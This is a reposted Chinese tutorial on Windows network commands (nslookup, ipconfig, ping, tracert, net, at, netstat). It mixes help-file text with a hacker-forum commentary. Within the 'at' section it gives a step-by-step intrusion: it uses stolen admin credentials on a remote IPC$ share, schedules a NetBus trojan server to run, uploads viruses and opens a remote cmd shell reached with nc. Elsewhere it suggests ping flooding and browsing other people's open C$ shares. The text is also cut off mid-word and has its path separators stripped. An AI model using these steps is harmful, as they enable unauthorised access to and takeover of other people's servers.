nslookup-ipconfig基础网络命令

来源:互联网 发布:淘宝批量发布宝贝 编辑:程序博客网 时间:2024/04/30 07:01
Nslookup显示可用来诊断域名系统 (DNS) 基础结构的信息。使用此工具之前,您应当熟悉 DNS 的工作原理。只有在已安装 TCP/IP 协议的情况下才可以使用 Nslookup 命令行工具。
语法
nslookup [-SubCommand ...] [{ComputerToFind| [-Server]}]
参数
-SubCommand ...
将一个或多个 nslookup 子命令指定为命令行选项。有关子命令的列表,请参阅“相关主题”。
ComputerToFind
如果未指定其它服务器,就使用当前默认 DNS 名称服务器查阅 ComputerToFind 的信息。要查找不在当前 DNS 域的计算机,请在名称上附加句点。
-Server
指定将该服务器作为 DNS 名称服务器使用。如果省略了 -Server,将使用默认的 DNS 名称服务器。

显示 nslookup 子命令的简短总结。
注释
如果 ComputerToFind 是 IP 地址,并且查询类型为 A 或 PTR 资源记录类型,则返回计算机的名称。如果 ComputerToFind 是一个名称,并且没有跟踪期,则向该名称添加默认 DNS 域名。此行为取决于下面 set 子命令的状态:domain、srchlist、defname 和 search。
如果键入连字符 (-) 代替 ComputerToFind,命令提示符更改为 nslookup 交互式模式。
命令行长度必须少于 256 个字符。
Nslookup 有两种模式:交互式和非交互式。
如果仅需要查找一块数据,请使用非交互式模式。对于第一个参数,键入要查找的计算机的名称或 IP 地址。对于第二个参数,键入 DNS 名称服务器的名称或 IP 地址。如果省略第二个参数,nslookup 使用默认 DNS 名称服务器。
如果需要查找多块数据,可以使用交互式模式。为第一个参数键入连字符 (-),为第二个参数键入 DNS 名称服务器的名称或 IP 地址。或者,省略两个参数,则 nslookup 使用默认 DNS 名称服务器。下面是一些有关在交互式模式下工作的提示:
要随时中断交互式命令,请按 CTRL+B。
要退出,请键入 exit。
要将内置命令当作计算机名,请在该命令前面放置转义字符 (/)。
将无法识别的命令解释为计算机名。
如果查找请求失败,nslookup 将打印错误消息。下表列出可能的错误消息。
错误消息 说明
Timed out 重试一定时间和一定次数之后,服务器没有响应请求。可以通过 set timeout 子命令设置超时期。而利用 set retry 子命令设置重试次数。
No response from server 服务器上没有运行 DNS 名称服务器。
No records 尽管计算机名有效,但是 DNS 名称服务器没有计算机当前查询类型的资源记录。查询类型使用 set querytype 命令指定。
Nonexistent domain 计算机或 DNS 域名不存在。
Connection refused
or
Network is unreachable
无法与 DNS 名称服务器或指针服务器建立连接。该错误通常发生在 ls 和 finger 请求中。
Server failure DNS 名称服务器发现在其数据库中内部不一致而无法返回有效应答。
Refused DNS 名称服务器拒绝为请求服务。
Format error DNS 名称服务器发现请求数据包的格式不正确。可能表明 nslookup 中存在错误。



Ipconfig显示所有当前的 TCP/IP 网络配置值、刷新动态主机配置协议 (DHCP) 和域名系统 (DNS) 设置。使用不带参数的 ipconfig 可以显示所有适配器的 IP 地址、子网掩码、默认网关。
语法
ipconfig [/all] [/renew [Adapter]] [/release [Adapter]] [/flushdns] [/displaydns] [/registerdns] [/showclassid Adapter] [/setclassid Adapter [ClassID]]
参数
/all
显示所有适配器的完整 TCP/IP 配置信息。在没有该参数的情况下 ipconfig 只显示 IP 地址、子网掩码和各个适配器的默认网关值。适配器可以代表物理接口(例如安装的网络适配器)或逻辑接口(例如拨号连接)。
/renew [adapter]
更新所有适配器(如果未指定适配器),或特定适配器(如果包含了 Adapter 参数)的 DHCP 配置。该参数仅在具有配置为自动获取 IP 地址的网卡的计算机上可用。要指定适配器名称,请键入使用不带参数的 ipconfig 命令显示的适配器名称。
/release [adapter]
发送 DHCPRELEASE 消息到 DHCP 服务器,以释放所有适配器(如果未指定适配器)或特定适配器(如果包含了 Adapter 参数)的当前 DHCP 配置并丢弃 IP 地址配置。该参数可以禁用配置为自动获取 IP 地址的适配器的 TCP/IP。要指定适配器名称,请键入使用不带参数的 ipconfig 命令显示的适配器名称。
/flushdns
清理并重设 DNS 客户解析器缓存的内容。如有必要,在 DNS 疑难解答期间,可以使用本过程从缓存中丢弃否定性缓存记录和任何其他动态添加的记录。
/displaydns
显示 DNS 客户解析器缓存的内容,包括从本地主机文件预装载的记录以及由计算机解析的名称查询而最近获得的任何资源记录。DNS 客户服务在查询配置的 DNS 服务器之前使用这些信息快速解析被频繁查询的名称。
/registerdns
初始化计算机上配置的 DNS 名称和 IP 地址的手工动态注册。可以使用该参数对失败的 DNS 名称注册进行疑难解答或解决客户和 DNS 服务器之间的动态更新问题,而不必重新启动客户计算机。TCP/IP 协议高级属性中的 DNS 设置可以确定 DNS 中注册了哪些名称。
/showclassid adapter
显示指定适配器的 DHCP 类别 ID。要查看所有适配器的 DHCP 类别 ID,可以使用星号 (*) 通配符代替 Adapter。该参数仅在具有配置为自动获取 IP 地址的网卡的计算机上可用。
/setclassid Adapter [ClassID]
配置特定适配器的 DHCP 类别 ID。要设置所有适配器的 DHCP 类别 ID,可以使用星号 (*) 通配符代替 Adapter。该参数仅在具有配置为自动获取 IP 地址的网卡的计算机上可用。如果未指定 DHCP 类别 ID,则会删除当前类别 ID。
/?
在命令提示符显示帮助。
注释
ipconfig 等价于 winipcfg,后者在 Windows Millennium Edition、Windows 98 和 Windows 95 上可用。尽管 Windows XP 没有提供象 winipcfg 命令一样的图形化界面,但可以使用“网络连接”查看和更新 IP 地址。要做到这一点,请打开 网络连接,右键单击某一网络连接,单击“状态”,然后单击“支持”选项卡。
该命令最适用于配置为自动获取 IP 地址的计算机。它使用户可以确定哪些 TCP/IP 配置值是由 DHCP、自动专用 IP 地址 (APIPA) 和其他配置配置的。
如果 Adapter 名称包含空格,请在该适配器名称两边使用引号(即 "Adapter Name")。
对于适配器名称,ipconfig 可以使用星号 (*) 通配符字符指定名称为指定字符串开头的适配器,或名称包含有指定串的适配器。例如,Local* 可以匹配所有以字符串 Local 开头的适配器,而 *Con* 可以匹配所有包含字符串 Con 的适配器。
只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
范例
要显示所有适配器的基本 TCP/IP 配置,请键入:
ipconfig
要显示所有适配器的完整 TCP/IP 配置,请键入:
ipconfig /all
仅更新“本地连接”适配器的由 DHCP 分配 IP 地址的配置,请键入:
ipconfig /renew "Local Area Connection"
要在排除 DNS 的名称解析故障期间清理 DNS 解析器缓存,请键入:
ipconfig /flushdns
要显示名称以 Local 开头的所有适配器的 DHCP 类别 ID,请键入:
ipconfig /showclassid Local*
要将“本地连接”适配器的 DHCP 类别 ID 设置为 TEST,请键入:
ipconfig /setclassid "Local Area Connection" TEST



1.ping:

这是TCP/IP协议中最有用的命令之一
它给另一个系统发送一系列的数据包,该系统本身又发回一个响应,这条实用程序对查找远程主机很有用,它返回的结果表示是否能到达主机,宿主机发送一个返回数据包需要多长时间。
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] [-k host-list]]
[-w timeout] destination-list
Options:
-t Ping the specifed host until interrupted.(除非人为中止,否则一直ping下去)
-a Resolve addresses to hostnames.(把IP转为主机名)
-n count Number of echo requests to send.(响应请求的数量)
-l size Send buffer size.(封包的大小)
-f Set Don't Fragment flag in packet.(信息包中无碎片)
-i TTL Time To Live.(时间)
-v TOS Type Of Service.(服务类型)
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.(较严格的……唉,怎么译好……算了,放着吧)
-w timeout Timeout in milliseconds to wait for each reply.(timeout的时间)
比如大家可能都知道的一个命令 # ping -f -s 65000 ***.***.***.***或者前阶段大家所谓ping死霉国佬时所用的命令(当然这样只会造成我方自己的网络阻塞)。
其实这个命令主要是用来看对方应答的速度,如果怎么ping 得到的结果都是request time out。那恐怕你根本就不用你去找这台主机了,它不在你的射程之内。
2. winipcfg:
这是用来看自己IP位址的小工具,win98自带,NT里则网络监视器里就能看到IP了,还有个小实用程序叫……好象是叫IPCONFIG吧,没怎么用,都快忘了……这种东东网上其实相当之多,但既然“自带”,又何须外求,何况网上下载的黑客的东东里有没有特洛伊犹未可知,再说了,如果你不是在自己的“爱姬”上运行,岂不是就没法干活?――哈,不好意思,跑题了,但――接着跑两句:可以把一些常用的、经典的工具上传到网上,当作一个备份,什么时候在网吧、某家公司要干活的话,直接下载就是一个完整无缺的工具包了。
这个东东相当简单,直接在DOS下键入命令就是了,没有什么参数。

3. tracert:是验证通往远程主机路径的实用程序
用法: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
参数:
-d Do not resolve addresses to hostnames.(不将IP转为主机名)
-h maximum_hops Maximum number of hops to search for target.(最大跟踪数量)
-j host-list Loose source route along host-list.
-w timeout Wait timeout milliseconds for each reply.(time out 的时间)
最简单的用法就是 tracert hostname 其中hostname是计算机名或你想跟踪其路径的计算机的IP地址。TRACERT将返回数据包借以到达最终目的地的各种IP地址,你知道该怎么利用它吗?
我略为解释一下吧:跟踪通往210.142.192.130的路由,最大30:
第一行:*&^%&* 我就是从这里出去的(呵,真不想说^&^)
第四行:是不是快要出国了呢?
第九行:呀!这是日本鬼子的地盘……
4. net:这可是个非常棒的东西,如果不会用的话,赶紧睁大眼睛噢
这个命令的语法是: 可用的命令包括:
NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW
NET HELP SERVICES 列出用户可以启动的网络服务。
NET HELP SYNTAX 解释如何阅读 NET HELP 语法行。
NET HELP command MORE 用于逐屏显示帮助。
我可就不逐样解释了――这样会把我的手指累坏,就说说常用的两个命令吧
a.net view
这个命令的语法是:NET VIEW [computername /DOMAIN[:domainname]]
NET VIEW /NETWORK:NW [computername]
NET VIEW 用于显示一个计算机上共享资源的列表。当不带选项使用本命令时,
它就会显示当前域或网络上的计算机上的列表。
computername 指用户希望浏览其共享资源的计算机。
/DOMAIN:domainname 指定用户希望浏览有效的计算机所在的域。如果省略了域名,
就会显示局域网络上的所有域。
/NETWORK:NW 显示 NetWare 网络上所有可用的服务器。如果指定了一个计算
机名,就会显示NetWare 网络中那个计算机上的可用资源。
至于举例嘛,比如你知道一个远程计算机***.***.**.***上有开资源共享,那么运行
net view ***.***.**.*** 就可以了
b.net use
这个命令的语法是:NET USE [devicename *] [computernamesharename[volume] [password *]]
[/USER:[domainname]username]
[[/DELETE] [/PERSISTENT:{YES NO}]]
NET USE [devicename *] [password *]] [/HOME]
NET USE [/PERSISTENT:{YES NO}]
NET USE 用于将计算机与共享的资源相连接,或者切断计算机与共享资源的
连接。当不带选项使用本命令时,它会列出计算机的连接。
devicename 指定一个名字以便与资源相连接,或者指定要切断的设备。有两种类型
的设备名:磁盘驱动器 (D: 至 Z:) 和打印机 (LPT1: 至 LPT3:)。输入
一个星号来代替一个指定的设备名可以分配下一个可用设备名。
computername 指控制共享资源的计算机的名字。如果计算机名中包含有空字符,
就要将双反斜线 () 和计算机名一起用引号 (" ")括起来。计算机名
可以有1 到15 个 字符。
sharename 指共享资源的网络名字。
volume 指定一个服务器上的 NetWare 卷。用户必须安装 Netware 的客户服务
(Windows NT 工作站) 或者 Netware 的网关服务 (Windows NT 服务
器) 并使之与NetWare 服务器相连。
password 指访问共享资源所需要的密码。
* 进行密码提示。当在密码提示符下输入密码时,密码是不会显示的。
/USER 指定连接时的一个不同的用户名。
domainname 指定另外一个域。如果缺省域,就会使用当前登录的域。
username 指定登录的用户名。
/HOME 将用户与他们的宿主目录相连。
/DELETE 取消一个网络连接,并且从永久连接列表中删除该连接。
/PERSISTENT 控制对永久网络连接的使用。其缺省值是最近使用的设置。
YES 在连接产生时保存它们,并在下次登录时恢复它们。
NO 不保存正在产生的连接或后续的连接;现有的连接将在下次登录时被
恢复。可以使用 /DELETE 选项开关来删除永久连接。
PS:前两天在绿色兵团的贴子里见到一位仁兄的话,与这个命令有异曲共工之妙,也说明一个大概:
在浏览器中输入 file:///***.***.**.***c¥
则网上共享的C盘内容就会显示出来了,就仿佛用浏览器上FTP站点看到的一样。各位不妨试试,还可试试举一反三……
5.at: 排定在特定的日期和时间运行某些命令和程序。
运行 AT 命令之前必须先启动 Schedule 服务。瞧,现炒就得现卖,刚学了net命令,但这个start命令我可没详述,自已看看帮助文件,摸索一下各种命令的用法吧。
C:》net start schedule
Schedule 正在启动服务.....
Schedulw 服务启动成功。
AT [computername] [ [id] [/DELETE] /DELETE [/YES]]
AT [computername] time [/INTERACTIVE]
[ /EVERY:date[,...] /NEXT:date[,...]] "command"
computername 指定远程计算机。 如果省略这个参数
命令会被排定在本机上运行。
id 指定给排定进度命令的识别号。
/delete 删除某个已排定进度的命令。如果省略标识,计算机上所有已排定进度的
命令都会被删除。
/yes 用于删除所有作业,且不想在运行删除时显示确认
信息 。
time 指定命令运行的时间。
/interactive 允许作业在运行时,与用户通过桌面交互。
/every:date[,...] 指定在每周或每月的某日 (或某几日) 运行命令。
如果省略日期,则默认为在每月的本日运行。
/next:date[,...] 指定在下一个指定日期 (如,下周三),运行命令。
如果省略日期,则默认为在每月的本日运行。
"command" 准备运行的 Windows NT 命令或批处理文件。
知道了如何使用AT,再来看看如何在远程NT上运行ntsrv.exe:
1 利用管理员登陆到目的服务器,方法为: net use x.x.x.xipc¥ "adminpwd" /user:"adminuser"(这里具体方法可参见KILLUSA的文章《HOW TO GET IN NT》)
2 利用ntsrv.exe启动远程: netsvc x.x.x.x schedule /start
3 利用AT.EXE在远程服务器设置程序定时运行,当然最快运行最理想,所以,你可以用letmein.exe得到服务器的时间,然后:
at x.x.x.x 00:00 ntsrv.exe /port:64321
其中00:00要改为用letmein.exe得回来的具体时间+一点容量,等一会后,再在本地启动netbus.exe,键入目的服务器得ip 地址或hostname,连接!比如第一种方法,你想要在目的服务器运行诸如病毒之类的东东,可以利用netbus得上传功能,将各种“大补丸”上传至目的服务器,再用netbus的"Start program",键入完整路径,就ok了!第二种方法是利用netbus的“App redirect”功能,启动远程telnet服务,如下:在netbus中击“App redirect”,键入"C:》winntsystem32cmd.exe",Port为:4321,服务就启动了,然后在本地运行:nc x.x.x.x 4321,出现dos启动的画面就表示连接成功:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:》
注:这里有一小段是抄KILLUSA的文章――别找我要稿费啊^&^
6.netstat 这是一个观察网络连接状态的实用工具。
它能检验IP的当前连接状态,在断定你的基本级通信正在进行后,就要验证系统上的服务。这个服务包括检查正在收听输入的通信量和/或验证你正在创建一个与远程站点的会话,它可以很轻松地做到这一点。网上也可以看到很多如X-netstat之类的工具,是WIN界面的,更加直观而已,并没有多什么功能,这个命令的具体用法如下:
Displays protocol statistics and current TCP/IP network connections.(显示协议与当前网络连接)
NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]
-a Displays all connections and listening ports.(显示所有连接和监听端口)
-e Displays Ethernet statistics. This may be combined with the -s
option.(显示以太连接,可以与-s连用)
-n Displays addresses and port numbers in numeri

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ⅰ Ping
C:/> Ping 61.136.253.204 [向61.136.253.204发送数据包]
Pinging 61.136.253.204 With 32 bytes of data: [正在发送 32 字节的包到 :61.136.253.204]
Request timed out. [丢包 原因:超时]
Reply from 61.136.253.204: bytes=32 time=62ms TTL=120 [正确抵达|大小32字节|消耗时间 62ms ]
Reply from 61.136.253.204: bytes=32 time=69ms TTL=120
Reply from 61.136.253.204: bytes=32 time=59ms TTL=120
Ping statistics for 61.136.253.204 [资料统计]
Packets: Sent = 4, Received = 3, Lost = 1 <25% loss>, [发送了4个数据包,收到了3个,丢失1个占25% ]
Approximate round trip times in milli-seconds:
Minimum = 59ms, Maximum = 69ms, Average = 63ms [最快抵达 59ms 最慢 69 ms 平均时间 63ms]
现在我们来加入命令参数:
C:/> Ping -a 61.136.253.204 -l 1 -t [-a 代表同时获取主机名 -l 1 指定 包大小为 1bytes -t 直到用户手动终止]
Pinging XINGXING [61.136.253.204] With 1 bytes of data:
Reply from 61.136.253.204: bytes=1 time=49ms TTL=120 [因为只发送1字节的包,所以时间缩短了]
Reply from 61.136.253.204: bytes=1 time=59ms TTL=120
Reply from 61.136.253.204: bytes=1 time=54ms TTL=120
Reply from 61.136.253.204: bytes=1 time=55ms TTL=120
Reply from 61.136.253.204: bytes=1 time=50ms TTL=120
Reply from 61.136.253.204: bytes=1 time=49ms TTL=120
Reply from 61.136.253.204: bytes=1 time=49ms TTL=120
Ping statistics for 61.136.253.204
Packets: Sent = 7, Received = 7, Lost = 0 <0% loss>, [发送了7个数据包,收到了7个,丢失0个占0% ]
Approximate round trip times in milli-seconds:
Minimum = 49ms, Maximum = 59ms, Average = 52ms [最快抵达 59ms 最慢 69 ms 平均时间 63ms]
Control-C [按 Ctrl + C 强行终止]
^C
C:/>

――――――――――――――――――――――――――――――――――――――――――
――――――――――――――――――――――――――――――――――――――――――
――――――――――――――――――――――――――――――――――――――――――

Ⅱ Netstat [这是一个观察网络连接状态的实用工具]
C:/> Netstat -a [显示协议与当前网络连接]
Active Connections [活动的连接]
[端口类型] [本地的] [外部连接] [状态]
Proto Local Address Foreign Address State
TCP freefwq:telnet freefwq:0 LISTENING [端口类型 TCP 端口 Telnet 监听状态]
TCP freefwq:epmap freefwq:0 LISTENING
TCP freefwq:microsoft-ds freefwq:0 LISTENING
TCP freefwq:1026 freefwq:0 LISTENING [端口类型 TCP 端口 1027 **** ]
TCP freefwq:1027 freefwq:0 LISTENING
TCP freefwq:5277 freefwq:0 LISTENING
UDP freefwq:microsoft-ds *:*
UDP freefwq:3001 *:*
UDP freefwq:3005 *:* [端口类型 UDP 端口 3005]
UDP freefwq:4000 *:*
UDP freefwq:5419 *:*
.
.
.
C:/> Netstat -n -a [扩展命令参数]
Active Connections [活动的连接]
TCP 192.168.0.1:139 0.0.0.0:0 LISTENING
TCP 192.168.0.1:3002 0.0.0.0:0 LISTENING
TCP 192.168.0.1:3003 0.0.0.0:0 LISTENING
TCP 192.168.0.1:3004 0.0.0.0:0 LISTENING
TCP 211.91.155.117:139 0.0.0.0:0 LISTENING
TCP 211.91.155.117:8384 61.186.175.113:2887 ESTABLISHED [现在就可以很清楚的看见IP地址和端口名了]
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:3001 *:*
UDP 0.0.0.0:3005 *:*
UDP 0.0.0.0:4000 *:*
.
.
.
C:/> Netstat -e -a [扩展命令参数]
Interface Statistics [通信数据统计]
Received [收到的] Sent [发送的]
Bytes [字节] 91930821 97757485
Unicast packets [Unicast型] 413966 415520
Non-unicast packets 4004 1095
Discards 0 0
Errors [错误的] 0 0
Unknown protocols [未知协议] 1564

―――――――――――――――――――――――――――――――――――――――――――
―――――――――――――――――――――――――――――――――――――――――――
―――――――――――――――――――――――――――――――――――――――――――
Ⅲ AT [排定在特定的日期和时间运行某些命令和程序]
C:/> AT
列表是空的。 [因为我们现在没有给任何指定]
C:/> AT 22:30 Start C:/如果这都不算爱.mp3
新加了一项作业,其作业 ID = 1 [现在我们新建立了一个任务 在22:30分 系统将自动播放歌曲]
C:/> AT
状态 ID 日期 时间 命令行 [我们输入 AT 就可以看见先前的任务已经指定了]
-------------------------------------------------
1 今天 下午 22:00 Start C:/如果这都不算爱.mp3
C:/> AT 1 /Delete [删除1号任务]

Ⅳ Net
1. Net user [查看用户列表,或者添加用户]
C:/> Net user
[下面将会显示本机上的用户]
C:/> Net user FengXiaoTian /add
[将在系统中添加一个新用户 名字叫 FengXiaoTian
C:/> Net user administrator
[查看管理员的登陆情况 很有用的哦!万一管理员现在在线 。。。。]
C:/> Net user FengXiaoTian /delete
[删除用户]
2. Net View [用于显示一个计算机上共享资源的列表。当不带选项使用本命令时,它就会显示当前域或网络上的计算机上的列表。]
C:/> Net View [显示网络计算机列表]
服务器名称 注释
-----------------------------
//FOX
//GAOWEI
//LHL
//WANGWEI
//ZWJ
C:/> Net View //FOX [显示FOX鸡的共享内容]
共享名 类型 使用为 注释